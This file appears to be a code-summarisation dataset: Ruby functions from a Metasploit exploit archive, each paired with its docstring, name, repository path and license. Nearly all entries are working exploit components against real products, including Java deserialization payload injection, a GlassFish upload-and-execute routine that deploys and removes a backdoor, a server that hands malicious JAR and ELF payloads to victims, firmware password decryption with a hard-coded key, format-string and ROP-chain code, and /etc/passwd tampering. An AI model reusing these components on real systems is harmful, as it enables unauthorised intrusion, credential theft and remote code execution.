def set_payload stream = Rex::Java::Serialization::Model::Stream.new handle = File.new(File.join( Msf::Config.data_directory, "exploits", "CVE-2015-8103", 'serialized_file_writer' ), 'rb') decoded = stream.decode(handle) handle.close inject_payload_into_stream(decoded).encode end
Serialized stream generated with: https://github.com/dmohanty-r7/ysoserial/blob/stager-payloads/src/main/java/ysoserial/payloads/CommonsCollections3.java
set_payload
ruby
hahwul/mad-metasploit
archive/exploits/java/remote/38983.rb
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/java/remote/38983.rb
MIT
def class_load_payload stream = Rex::Java::Serialization::Model::Stream.new handle = File.new(File.join( Msf::Config.data_directory, 'exploits', 'CVE-2015-8103', 'serialized_class_loader' ), 'rb') decoded = stream.decode(handle) handle.close inject_class_loader_into_stream(decoded).encode end
Serialized stream generated with: https://github.com/dmohanty-r7/ysoserial/blob/stager-payloads/src/main/java/ysoserial/payloads/ClassLoaderInvoker.java
class_load_payload
ruby
hahwul/mad-metasploit
archive/exploits/java/remote/38983.rb
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/java/remote/38983.rb
MIT
def on_new_session(session) super case target['Platform'] when 'linux' print_status("Deleting user temp directory: ../temp/#{username}") session.shell_command_token("rm -rf ../temp/#{username}") when 'win' print_status("Deleting user temp directory: ..\\temp\\#{username}") session.shell_command_token("rd /s /q ..\\temp\\#{username}") end end
XXX: This is a hack because FileDropper doesn't delete directories
on_new_session
ruby
hahwul/mad-metasploit
archive/exploits/java/remote/39643.rb
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/java/remote/39643.rb
MIT
def query_login send_request_cgi('uri' => normalize_uri(target_uri.path.to_s, 'login.jsp')) end
Sends GET request to login page so the HTTP response can be used
query_login
ruby
hahwul/mad-metasploit
archive/exploits/java/remote/45851.rb
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/java/remote/45851.rb
MIT
def query_upm(good_cookie) send_request_cgi({ 'uri' => normalize_uri(target_uri.path.to_s, 'plugins/servlet/upm'), 'method' => 'GET', 'cookie' => good_cookie.to_s }) end
Queries plugin manager to verify access
query_upm
ruby
hahwul/mad-metasploit
archive/exploits/java/remote/45851.rb
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/java/remote/45851.rb
MIT
def do_auth send_request_cgi({ 'uri' => normalize_uri(target_uri.path.to_s, 'login.jsp'), 'method' => 'POST', 'cookie' => "atlassian.xsrf.token=#{@xsrf_token}; #{@session_id}", 'vars_post' => { 'os_username' => datastore['HttpUsername'], 'os_password' => datastore['HttpPassword'], 'os_destination' => '', 'user_role' => '', 'atl_token' => '', 'login' => 'Log+In' } }) end
Authenticates to webapp with user supplied credentials
do_auth
ruby
hahwul/mad-metasploit
archive/exploits/java/remote/45851.rb
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/java/remote/45851.rb
MIT
def get_sid(res) if res.nil? return '' if res.blank? end res.get_cookies.scan(/(JSESSIONID=\w+);*/).flatten[0] || '' end
Finds SID from HTTP response headers
get_sid
ruby
hahwul/mad-metasploit
archive/exploits/java/remote/45851.rb
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/java/remote/45851.rb
MIT
def on_request_uri(cli, request) vprint_status("#{request.method} #{request.uri} requested") unless %w[HEAD GET].include?(request.method) vprint_error("Ignoring #{request.method} request") return end if request.method == 'HEAD' if request.uri != payload_uri vprint_error('Sending 404') return send_not_found(cli) end vprint_good('Sending 200') return send_response(cli, '') end if request.uri != payload_uri vprint_error('Sending bogus file') return send_response(cli, "#{Faker::Hacker.say_something_smart}\n") end vprint_good('Sending payload JAR') send_response( cli, payload_jar, 'Content-Type' => 'application/java-archive' ) # XXX: $HOME may not work in some cases register_dir_for_cleanup("$HOME/.groovy/grapes/#{vendor}") end
Payload methods If you deviate from the following sequence, you will suffer! HEAD /path/to/pom.xml -> 404 HEAD /path/to/payload.jar -> 200 GET /path/to/payload.jar -> 200
on_request_uri
ruby
hahwul/mad-metasploit
archive/exploits/java/remote/46572.rb
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/java/remote/46572.rb
MIT
def get_war_path res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'fm', 'log', 'fmlogs.zip'), 'method' => 'GET' ) if res && res.code == 200 tmp = Tempfile.new # we have to drop this into a file first # else we will get a Zip::GPFBit3Error if we use an InputStream File.binwrite(tmp, res.body) Zip::File.open(tmp) do |zis| zis.each do |entry| if entry.name =~ /jboss[0-9]*\.log/ fdata = zis.read(entry) if fdata[/Started FileSystemDeploymentService for directory ([\w\/\\\-\.:]*)/] tmp.close tmp.unlink return $1.strip end end end end end end
use CVE-2019-1622 to fetch the logs unauthenticated, and get the WAR upload path from jboss*.log
get_war_path
ruby
hahwul/mad-metasploit
archive/exploits/java/remote/47347.rb
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/java/remote/47347.rb
MIT
def port_open? begin res = send_request_raw({'method' => 'GET', 'uri' => '/'}, datastore['TIMEOUT']) return true if res rescue ::Rex::ConnectionRefused print_status("#{peer} - Connection refused") return false rescue ::Rex::ConnectionError print_error("#{peer} - Connection failed") return false rescue ::OpenSSL::SSL::SSLError print_error("#{peer} - SSL/TLS connection error") return false end end
Returns the status of the listening port. @return [Boolean] TrueClass if port open, otherwise FalseClass.
port_open?
ruby
hahwul/mad-metasploit
archive/exploits/java/webapps/39715.rb
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/java/webapps/39715.rb
MIT
def get_derived_key(password, salt, count) key = password + salt for i in 0..count-1 key = Digest::MD5.digest(key) end kl = key.length return key[0,8], key[8,kl] end
Returns the derived key from the password, the salt and the iteration count number. @return Array of byte containing the derived key.
get_derived_key
ruby
hahwul/mad-metasploit
archive/exploits/java/webapps/39715.rb
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/java/webapps/39715.rb
MIT
def decrypt(enc_str) pbe_key="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ,./<>?;':\"\\{}`~!@#$%^&*()_+-=" salt = (Base64.strict_decode64(enc_str[0,12])) remsg = (Base64.strict_decode64(enc_str[12,enc_str.length])) (dk, iv) = get_derived_key(pbe_key, salt, 1000) alg = "des-cbc" decode_cipher = OpenSSL::Cipher::Cipher.new(alg) decode_cipher.decrypt decode_cipher.padding = 0 decode_cipher.key = dk decode_cipher.iv = iv plain = decode_cipher.update(remsg) plain << decode_cipher.final return plain.gsub(/[\x01-\x08]/,'') end
@Return the deciphered password Algorithm obtained by reversing the firmware
decrypt
ruby
hahwul/mad-metasploit
archive/exploits/java/webapps/39715.rb
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/java/webapps/39715.rb
MIT
def send_request(path, method, session='', data=nil, ctype=nil) headers = {} headers['Cookie'] = "JSESSIONID=#{session}" if session != '' headers['Content-Type'] = ctype if ctype != nil headers['Content-Length'] = data.length if data != nil res = send_request_raw({ 'uri' => path, 'method' => method, 'data' => data, 'headers' => headers, }, 90) #'vhost' => "#{datastore['rhost']}:#{datastore['rport']}" return res end
Send GET or POST request, and return the response
send_request
ruby
hahwul/mad-metasploit
archive/exploits/jsp/webapps/17615.rb
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/jsp/webapps/17615.rb
MIT
def detect_platform(body) body.each_line do |ln| ln.chomp! case ln when /os\.name = (.*)/ os = $1 case os when /Windows/ return 'win' when /Linux/ return 'linux' when /Mac OS X/ return 'osx' end end end return 'java' end
Return platform (win, linux, or osx)
detect_platform
ruby
hahwul/mad-metasploit
archive/exploits/jsp/webapps/17615.rb
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/jsp/webapps/17615.rb
MIT
def get_delete_info(session, version, app='') if version == '2.x' or version == '9.x' path = '/applications/webApplications.jsf' res = send_request(path, @verbs['GET'], session) if (not res) or (res.code != 200) print_error("Failed (#{res.code.to_s}): Error requesting #{path}") return nil end input_id = "javax.faces.ViewState" p = /input type="hidden" name="#{input_id}" id="#{input_id}" value="(j_id\d+:j_id\d+)"/ viewstate = res.body.scan(p)[0][0] entry = nil p = /<a id="(.*)col1:link" href="\/applications\/webApplicationsEdit.jsf.*appName=(.*)">/ results = res.body.scan(p) results.each do |hit| if hit[1] =~ /^#{app}/ entry = hit[0] entry << "col0:select" end end else path = '/common/applications/applications.jsf?bare=true' res = send_request(path, @verbs['GET'], session) if (not res) or (res.code != 200) print_error("Failed (#{res.code.to_s}): Error requesting #{path}") return nil end input_id = "javax.faces.ViewState" p = /input type="hidden" name="#{input_id}" id="#{input_id}" value="(.*)" autocomplete="off"/ viewstate = res.body.scan(p)[0][0] entry = nil p = /<a id="(.*)col1:link" href="\/common\/applications\/applicationEdit.jsf.*appName=(.*)">/ results = res.body.scan(p) results.each do |hit| if hit[1] =~ /^#{app}/ entry = hit[0] entry << "col0:select" end end end if (viewstate.nil?) print_error("Failed: Error getting ViewState") return nil elsif (entry.nil?) print_error("Failed: Error getting the entry to delete") end return viewstate, entry end
Return viewstate and entry before deleting a GlassFish application
get_delete_info
ruby
hahwul/mad-metasploit
archive/exploits/jsp/webapps/17615.rb
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/jsp/webapps/17615.rb
MIT
def undeploy(viewstate, session, entry) #Send undeployment request data = [ "propertyForm%3AdeployTable%3AtopActionsGroup1%3Afilter_list=", "&propertyForm%3AdeployTable%3AtopActionsGroup1%3Afilter_submitter=false", "&#{Rex::Text.uri_encode(entry)}=true", "&propertyForm%3AhelpKey=ref-applications.html", "&propertyForm_hidden=propertyForm_hidden", "&javax.faces.ViewState=#{Rex::Text.uri_encode(viewstate)}", "&com_sun_webui_util_FocusManager_focusElementId=propertyForm%3AdeployTable%3AtopActionsGroup1%3Abutton1", "&javax.faces.source=propertyForm%3AdeployTable%3AtopActionsGroup1%3Abutton1", "&javax.faces.partial.execute=%40all", "&javax.faces.partial.render=%40all", "&bare=true", "&propertyForm%3AdeployTable%3AtopActionsGroup1%3Abutton1=propertyForm%3AdeployTable%3AtopActionsGroup1%3Abutton1", "&javax.faces.partial.ajax=true" ].join() path = '/common/applications/applications.jsf' ctype = 'application/x-www-form-urlencoded' res = send_request(path, @verbs['POST'], session, data, ctype) if (not res) print_error("Undeployment failed on #{path} - No Response") else if res.code < 200 or res.code >= 300 print_error("Undeployment failed on #{path} - #{res.code.to_s}:#{res.message.to_s}") end end end
Send an "undeploy" request to Glassfish and remove our backdoor
undeploy
ruby
hahwul/mad-metasploit
archive/exploits/jsp/webapps/17615.rb
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/jsp/webapps/17615.rb
MIT
def get_version(res) #Extract banner from response banner = res.headers['Server'] #Default value for edition and glassfish version edition = 'Commercial' version = 'Unknown' #Set edition (Open Source or Commercial) p = /(Open Source|Sun GlassFish Enterprise Server|Sun Java System Application Server)/ edition = 'Open Source' if banner =~ p #Set version. Some GlassFish servers return banner "GlassFish v3". if banner =~ /(GlassFish Server|Open Source Edition) (\d\.\d)/ version = $2 elsif banner =~ /GlassFish v(\d)/ and (version == 'Unknown' or version.nil?) version = $1 elsif banner =~ /Sun GlassFish Enterprise Server v2/ and (version.nil? or version == 'Unknown') version = '2.x' elsif banner =~ /Sun Java System Application Server 9/ and (version.nil? or version == 'Unknown') version = '9.x' end if version == nil or version == 'Unknown' print_status("Unsupported version: #{banner}") end return edition, version, banner end
Return GlassFish's edition (Open Source or Commercial) and version (2.x, 3.0, 3.1, 9.x) and banner (ex: Sun Java System Application Server 9.x)
get_version
ruby
hahwul/mad-metasploit
archive/exploits/jsp/webapps/17615.rb
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/jsp/webapps/17615.rb
MIT
def format_2_x_war(boundary,name,value=nil, war=nil) data = '' data << boundary data << "\r\nContent-Disposition: form-data; name=\"form:title:sheet1:section1:prop1:fileupload\"; " data << "filename=\"#{name}.war\"\r\nContent-Type: application/octet-stream\r\n\r\n" data << war data << "\r\n" return data end
Return the formatted version of the POST data
format_2_x_war
ruby
hahwul/mad-metasploit
archive/exploits/jsp/webapps/17615.rb
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/jsp/webapps/17615.rb
MIT
def format(boundary,name,value=nil, war=nil) data = '' if war data << boundary data << "\r\nContent-Disposition: form-data; name=\"form:sheet1:section1:prop1:fileupload\"; " data << "filename=\"#{name}.war\"\r\nContent-Type: application/octet-stream\r\n\r\n" data << war data << "\r\n" else data << boundary data << "\r\nContent-Disposition: form-data; name=\"#{name}\"" data << "\r\n\r\n" data << "#{value}\r\n" end return data end
Return the formatted version of the POST data
format
ruby
hahwul/mad-metasploit
archive/exploits/jsp/webapps/17615.rb
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/jsp/webapps/17615.rb
MIT
def get_upload_data(boundary, version, war, app_base, typefield='', status_checkbox='', start='', viewstate='') data = '' if version == '3.0' uploadParam_name = "form:sheet1:section1:prop1:fileupload_com.sun.webui.jsf.uploadParam" uploadparam_data = "form:sheet1:section1:prop1:fileupload" boundary = "--#{boundary}" data = [ format(boundary, app_base, nil, war), format(boundary, uploadParam_name, uploadparam_data), format(boundary, "form:sheet1:section1:prop1:extension", ".war"), format(boundary, "form:sheet1:section1:prop1:action", "client"), format(boundary, typefield, "war"), format(boundary, "form:war:psection:cxp:ctx", app_base), format(boundary, "form:war:psection:nameProp:appName", app_base), format(boundary, "form:war:psection:vsProp:vs", ""), format(boundary, status_checkbox, "true"), format(boundary, "form:war:psection:librariesProp:library", ""), format(boundary, "form:war:psection:descriptionProp:description", ""), format(boundary, "form_hidden", "form_hidden"), format(boundary, "javax.faces.ViewState", viewstate), "#{boundary}--" ].join() elsif version == '2.x' or version == '9.x' uploadParam_name = "form:title:sheet1:section1:prop1:fileupload_com.sun.webui.jsf.uploadParam" uploadParam_data = "form:title:sheet1:section1:prop1:fileupload" focusElementId_name = "com_sun_webui_util_FocusManager_focusElementId" focusElementId_data = 'form:title:topButtons:uploadButton' boundary = "-----------------------------#{boundary}" data = [ format_2_x_war(boundary, app_base, nil, war), format(boundary, "form:title:sheet1:section1:type:appType", "webApp"), format(boundary, "uploadRdBtn", "client"), format(boundary, uploadParam_name, uploadParam_data), format(boundary, "form:title:sheet1:section1:prop1:extension", ".war"), format(boundary, "form:title:ps:psec:nameProp:appName", app_base), format(boundary, "form:title:ps:psec:cxp:ctx", app_base), format(boundary, "form:title:ps:psec:vsp:vs", ""), format(boundary, status_checkbox, "true"), format(boundary, "form:title:ps:psec:librariesProp:library", ""), format(boundary, "form:title:ps:psec:threadpoolProp:threadPool", ""), format(boundary, "form:title:ps:psec:registryProp:registryType", ""), format(boundary, "form:title:ps:psec:descriptionProp:description", ""), format(boundary, "form:helpKey", "uploaddev.html"), format(boundary, "form_hidden", "form_hidden"), format(boundary, "javax.faces.ViewState", viewstate), format(boundary, focusElementId_name, focusElementId_data), "#{boundary}--" ].join() else boundary = "-----------------------------#{boundary}" #Setup dynamic arguments num1 = start.to_i num2 = num1 + 14 num3 = num2 + 2 num4 = num3 + 2 num5 = num4 + 2 num6 = num5 + 2 num7 = num6 + 1 id0 = num4 id1 = num4 + 1 id2 = num4 + 2 id3 = num4 + 3 id4 = num4 + 4 id5 = num4 + 5 id6 = num4 + 6 id7 = num4 + 7 id8 = num4 + 8 id9 = num4 + 9 uploadParam_name = "form:sheet1:section1:prop1:fileupload_com.sun.webui.jsf.uploadParam" uploadParam_value = "form:sheet1:section1:prop1:fileupload" focusElementId_name = "com_sun_webui_util_FocusManager_focusElementId" focusElementId_data = "form:title2:bottomButtons:uploadButton" data = [ format(boundary,"uploadRdBtn","client"), ## web service format(boundary, app_base, nil, war), ## sheet1 format(boundary, uploadParam_name, uploadParam_value), format(boundary,"form:sheet1:section1:prop1:extension",".war"), format(boundary,"form:sheet1:section1:prop1:action","client"), format(boundary,"form:sheet1:sun_propertySheetSection#{num1.to_s}:type:appType","war"), format(boundary,"form:appClient:psection:nameProp:appName","#{app_base}"), format(boundary,"form:appClient:psection:descriptionProp:description"), ## war format(boundary,"form:war:psection:cxp:ctx","#{app_base}"), format(boundary,"form:war:psection:nameProp:appName","#{app_base}"), format(boundary,"form:war:psection:vsProp:vs"), format(boundary,"form:war:psection:enableProp:sun_checkbox" + id1.to_s,"true"), format(boundary,"form:war:psection:enableProp:sun_checkbox" + id2.to_s,"true"), format(boundary,"form:war:psection:enableProp:sun_checkbox" + id3.to_s,"true"), format(boundary,"form:war:psection:enableProp:sun_checkbox" + id4.to_s,"true"), format(boundary,"form:war:psection:enableProp:sun_checkbox" + id5.to_s,"true"), format(boundary,"form:war:psection:enableProp:sun_checkbox" + id6.to_s,"true"), format(boundary,"form:war:psection:enableProp:sun_checkbox" + id7.to_s,"true"), format(boundary,"form:war:psection:enableProp:sun_checkbox" + id8.to_s,"true"), format(boundary,"form:war:psection:enableProp:sun_checkbox" + id9.to_s,"true"), format(boundary,"form:war:psection:librariesProp:library"), format(boundary,"form:war:psection:descriptionProp:description"), format(boundary,"form_hidden","form_hidden"), format(boundary,"javax.faces.ViewState","#{viewstate}"), format(boundary, focusElementId_name, focusElementId_data) ].join() item_list_name = "form:targetSection:targetSectionId:addRemoveProp:commonAddRemove_item_list" item_list_data = "|server|com.sun.webui.jsf.separator|" item_value_name = "form:targetSection:targetSectionId:addRemoveProp:commonAddRemove_list_value" item_value_data = "server" data << format(boundary, item_list_name, item_list_data) data << format(boundary, item_value_name, item_value_data) data << "#{boundary}--" data << "\r\n\r\n" end return data end
Return POST data and data length, based on GlassFish edition
get_upload_data
ruby
hahwul/mad-metasploit
archive/exploits/jsp/webapps/17615.rb
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/jsp/webapps/17615.rb
MIT
def upload_exec(session, app_base, jsp_name, target, war, edition, version) if version == '2.x' or version == '9.x' path = "/applications/upload.jsf?appType=webApp" res = send_request(path, @verbs['GET'], session) #Obtain some properties begin p1 = /id="javax\.faces\.ViewState" value="(j_id\d{1,5}:j_id\d{1,5})"/mi p2 = /input type="checkbox" id="form:title:ps:psec:enableProp:sun_checkbox\d+" name="(.*)" checked/mi viewstate = res.body.scan(p1)[0][0] status_checkbox = res.body.scan(p2)[0][0] boundary = rand_text_alphanumeric(28) rescue print_error("Unable to gather required data for file upload") return end else path = "/common/applications/uploadFrame.jsf" res = send_request(path, @verbs['GET'], session) #Obtain some properties begin #start is only for dynamic arguments in POST data res.body =~ /propertySheetSection(\d{3})/ start = $1 p1 = /"javax\.faces\.ViewState" value="(-?\d+:-?\d+)"/mi p2 = /select class="MnuStd_sun4" id="form:sheet1:sun_propertySheetSection.*:type:appType" name="(.*)" size/ p3 = /input type="checkbox" id="form:war:psection:enableProp:sun_checkbox.*" name="(.*)" checked/ rnd_text = rand_text_alphanumeric(29) viewstate = res.body.scan(p1)[0][0] typefield = res.body.scan(p2)[0][0] status_checkbox = res.body.scan(p3)[0][0] boundary = (edition == 'Open Source') ? rnd_text[0,15] : rnd_text rescue print_error("Unable to gather required data for file upload") return end end #Get upload data if version == '3.0' ctype = "multipart/form-data; boundary=#{boundary}" elsif version == '2.x' or version == '9.x' ctype = "multipart/form-data; boundary=---------------------------#{boundary}" typefield = '' start = '' else ctype = "multipart/form-data; boundary=---------------------------#{boundary}" end post_data = get_upload_data(boundary, version, war, app_base, typefield, status_checkbox, start, viewstate) #Upload our payload if version == '2.x' or version == '9.x' path = '/applications/upload.jsf?form:title:topButtons:uploadButton=%20%20OK%20%20' else path = '/common/applications/uploadFrame.jsf?' path << 'form:title:topButtons:uploadButton=Processing...' path << '&bare=false' end res = send_request(path, @verbs['POST'], session, post_data, ctype) #Print upload result if res and res.code == 302 print_status("Successfully uploaded") else print_error("Error uploading #{res.code}") return end #Execute our payload using the application interface (no need to use auth bypass technique) jsp_path = "/" + app_base + "/" + jsp_name + ".jsp" nclient = Rex::Proto::Http::Client.new(datastore['RHOST'], datastore['APP_RPORT'], { 'Msf' => framework, 'MsfExploit' => self, } ) print_status("Executing #{jsp_path}...") req = nclient.request_raw({ 'uri' => jsp_path, 'method' => 'GET', }) if (req) res = nclient.send_recv(req, 90) else print_status("Error: #{rhost} did not respond on #{app_rport}.") end #Sleep for a bit before cleanup select(nil, nil, nil, 5) #Start undeploying print_status("Getting information to undeploy...") viewstate, entry = get_delete_info(session, version, app_base) if (not viewstate) raise RuntimeError, "Unable to get viewstate" elsif (not entry) raise RuntimeError, "Unable to get entry" end print_status("Undeploying #{app_base}...") undeploy(viewstate, session, entry) print_status("Undeployment complete.") end
Upload our payload, and execute it. This function will also try to automatically clean up after itself.
upload_exec
ruby
hahwul/mad-metasploit
archive/exploits/jsp/webapps/17615.rb
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/jsp/webapps/17615.rb
MIT
def try_login(user, pass) data = "j_username=#{Rex::Text.uri_encode(user.to_s)}&" data << "j_password=#{Rex::Text.uri_encode(pass.to_s)}&" data << "loginButton=Login" path = '/j_security_check' res = send_request(path, @verbs['POST'], '', data, 'application/x-www-form-urlencoded') return res end
Try to login to Glassfish with a credential, and return the response
try_login
ruby
hahwul/mad-metasploit
archive/exploits/jsp/webapps/17615.rb
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/jsp/webapps/17615.rb
MIT
def exploit file_create(template.sub('echo vulnerable > /dev/tty', payload.encoded)) end
Example usage from the bug tracker: $ gs -q -dNOPAUSE -dSAFER -sDEVICE=ppmraw -sOutputFile=/dev/null -f exploit2.eps
exploit
ruby
hahwul/mad-metasploit
archive/exploits/linux/local/41955.rb
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/linux/local/41955.rb
MIT
def on_new_session(session) new_user_removed = false if session.type.to_s.eql? 'meterpreter' session.core.use 'stdapi' unless session.ext.aliases.include? 'stdapi' # Remove new user session.sys.process.execute '/bin/sh', "-c \"sed -i 's/^#{@username}:.*$//g' /etc/passwd\"" # Wait for clean up Rex.sleep 5 # Check for new user in /etc/passwd passwd_contents = session.fs.file.open('/etc/passwd').read.to_s unless passwd_contents =~ /^#{@username}:/ new_user_removed = true end elsif session.type.to_s.eql? 'shell' # Remove new user session.shell_command_token "sed -i 's/^#{@username}:.*$//g' /etc/passwd" # Check for new user in /etc/passwd passwd_user = session.shell_command_token "grep '#{@username}:' /etc/passwd" unless passwd_user =~ /^#{@username}:/ new_user_removed = true end end unless new_user_removed print_warning "Could not remove user '#{@username}' from /etc/passwd" end rescue => e print_error "Error during cleanup: #{e.message}" ensure super end
Remove new user from /etc/passwd
on_new_session
ruby
hahwul/mad-metasploit
archive/exploits/linux/local/44633.rb
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/linux/local/44633.rb
MIT
def trigger_fmt(fmtstr) return nil if fmtstr.length >= (512 - (4+1 + 4+1 + 2 + 2)) send_cmd(['SITE', 'EXEC', 'x', fmtstr], true) end
these two functions are used to read stack memory (used by fmtstr_stack_read()
trigger_fmt
ruby
hahwul/mad-metasploit
archive/exploits/linux/remote/16311.rb
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/linux/remote/16311.rb
MIT
def make_request(opnum=0, data="", size=data.length, ctx=0, object_id = '') opnum = opnum.to_i size = size.to_i ctx = ctx.to_i chunks, frags = [], [] ptr = 0 # Break the request into fragments of 'size' bytes while ptr < data.length chunks.push( data[ ptr, size ] ) ptr += size end # Process requests with no stub data if chunks.length == 0 frags.push( Rex::Proto::DCERPC::Packet.make_request_chunk(3, opnum, '', ctx, object_id) ) return frags end # Process requests with only one fragment if chunks.length == 1 frags.push( Rex::Proto::DCERPC::Packet.make_request_chunk(3, opnum, chunks[0], ctx, object_id) ) return frags end # Create the first fragment of the request frags.push( Rex::Proto::DCERPC::Packet.make_request_chunk(1, opnum, chunks.shift, ctx, object_id) ) # Create all of the middle fragments while chunks.length != 1 frags.push( Rex::Proto::DCERPC::Packet.make_request_chunk(0, opnum, chunks.shift, ctx, object_id) ) end # Create the last fragment of the request frags.push( Rex::Proto::DCERPC::Packet.make_request_chunk(2, opnum, chunks.shift, ctx, object_id) ) return frags end
Used to create standard DCERPC REQUEST packet(s)
make_request
ruby
hahwul/mad-metasploit
archive/exploits/linux/remote/21850.rb
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/linux/remote/21850.rb
MIT
def write(dcerpc, data) dcerpc.socket.write(data) data.length end
Write data to the underlying socket
write
ruby
hahwul/mad-metasploit
archive/exploits/linux/remote/21850.rb
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/linux/remote/21850.rb
MIT
def wait_linux_payload print_status("#{peer} - Waiting for the victim to request the ELF payload...") waited = 0 while (not @elf_sent) select(nil, nil, nil, 1) waited += 1 if (waited > datastore['HTTP_DELAY']) fail_with(Exploit::Failure::Unknown, "Target didn't request request the ELF payload -- Maybe it cant connect back to us?") end end #print_status("#{peer} - Giving time to the payload to execute...") #select(nil, nil, nil, 20) unless session_created? print_status("#{peer} - Shutting down the web service...") stop_service end
wait for the data to be sent
wait_linux_payload
ruby
hahwul/mad-metasploit
archive/exploits/linux/remote/24888.rb
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/linux/remote/24888.rb
MIT
def on_request_uri(cli, request) vprint_status("#{peer} - on_request_uri called, #{request} requested") if (not @elf_data) print_error("#{peer} - A request came in, but the ELF archive wasn't ready yet!") return end print_good("#{peer} - Sending the ELF payload to the target...") @elf_sent = true send_response(cli, @elf_data) end
Handle incoming requests from the target
on_request_uri
ruby
hahwul/mad-metasploit
archive/exploits/linux/remote/24888.rb
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/linux/remote/24888.rb
MIT
def connect(global = true, opts={}) self.sock = super(global, opts) if datastore['NRPESSL'] or @force_ssl ctx = OpenSSL::SSL::SSLContext.new("TLSv1") ctx.verify_mode = OpenSSL::SSL::VERIFY_NONE ctx.ciphers = "ADH" @ssl_socket = OpenSSL::SSL::SSLSocket.new(self.sock, ctx) @ssl_socket.connect self.sock.extend(Rex::Socket::SslTcp) self.sock.sslsock = @ssl_socket self.sock.sslctx = ctx end return self.sock end
NRPE uses unauthenticated Annonymous-Diffie-Hellman setting the global SSL => true will break as we would be overlaying an SSLSocket on another SSLSocket which hasnt completed its handshake
connect
ruby
hahwul/mad-metasploit
archive/exploits/linux/remote/24955.rb
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/linux/remote/24955.rb
MIT
def random_chunk_size(bytes=16) return bytes.times.map{ (rand(0x8) + 0x8).to_s(16) }.join end
Generate a random chunk size that will always result in a negative 64bit number when being parsed
random_chunk_size
ruby
hahwul/mad-metasploit
archive/exploits/linux/remote/25775.rb
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/linux/remote/25775.rb
MIT
def login begin res = send_request_cgi({ 'uri' => '/agc/astguiclient.php', 'method' => 'POST', 'vars_post' => { "user" => datastore["USER_ASTGUI"], "pass" => datastore["PASS_ASTGUI"], "phone_login" => datastore["PHONE_USER_ASTGUI"], "phone_pass" => datastore["PHONE_PASSWORD_ASTGUI"] } }) rescue ::Rex::ConnectionError vprint_error("#{rhost}:#{rport} - Failed to connect to the web server") return nil end return res end
Login through astGUIclient and create a web_client_sessions if there isn't something available
login
ruby
hahwul/mad-metasploit
archive/exploits/linux/remote/29513.rb
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/linux/remote/29513.rb
MIT
def check return Exploit::CheckCode::Unknown unless login(datastore['USERNAME'], datastore['PASSWORD']) fingerprint = Rex::Text.rand_text_alphanumeric(rand(10)+10) print_status("#{peer} - Sending check") res = execute_command("echo #{fingerprint}") if res and res.body =~ /align=center>#{fingerprint}/ return Exploit::CheckCode::Vulnerable elsif res return Exploit::CheckCode::Safe end return Exploit::CheckCode::Unknown end
Check credentials are valid and confirm command execution
check
ruby
hahwul/mad-metasploit
archive/exploits/linux/remote/30471.rb
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/linux/remote/30471.rb
MIT
def check_generate_payload_exe if generate_payload_exe.nil? fail_with(Failure::BadConfig, "#{peer} - Failed to generate the ELF. Please manually set a payload.") end end
generate_payload_exe doesn't respect module's platform unless it's Windows, or the user manually sets one. This method is a temp work-around.
check_generate_payload_exe
ruby
hahwul/mad-metasploit
archive/exploits/linux/remote/34335.rb
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/linux/remote/34335.rb
MIT
def target_ds7204_1 # Create a fixed-size buffer for the rop chain ropbuf = rand_text_alpha(24) # CHAIN = [ # 0, #R4 pop adjustsp # 0, #R5 pop adjustsp # GADGET_BLXR3_POP, #R6 pop adjustsp # GADGET_POPR3, # 0, #R3 pop # GADGET_R3FROMSP, # ] ropbuf[8,4] = [target["g_blxr3_pop"]].pack("V") ropbuf[12,4] = [target["g_popr3"]].pack("V") ropbuf[20,4] = [target["g_r3fromsp"]].pack("V") return ropbuf end
These devices are armle, run version 1.3.1 of libupnp, have random stacks, but no PIE on libc
target_ds7204_1
ruby
hahwul/mad-metasploit
archive/exploits/linux/remote/35356.rb
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/linux/remote/35356.rb
MIT
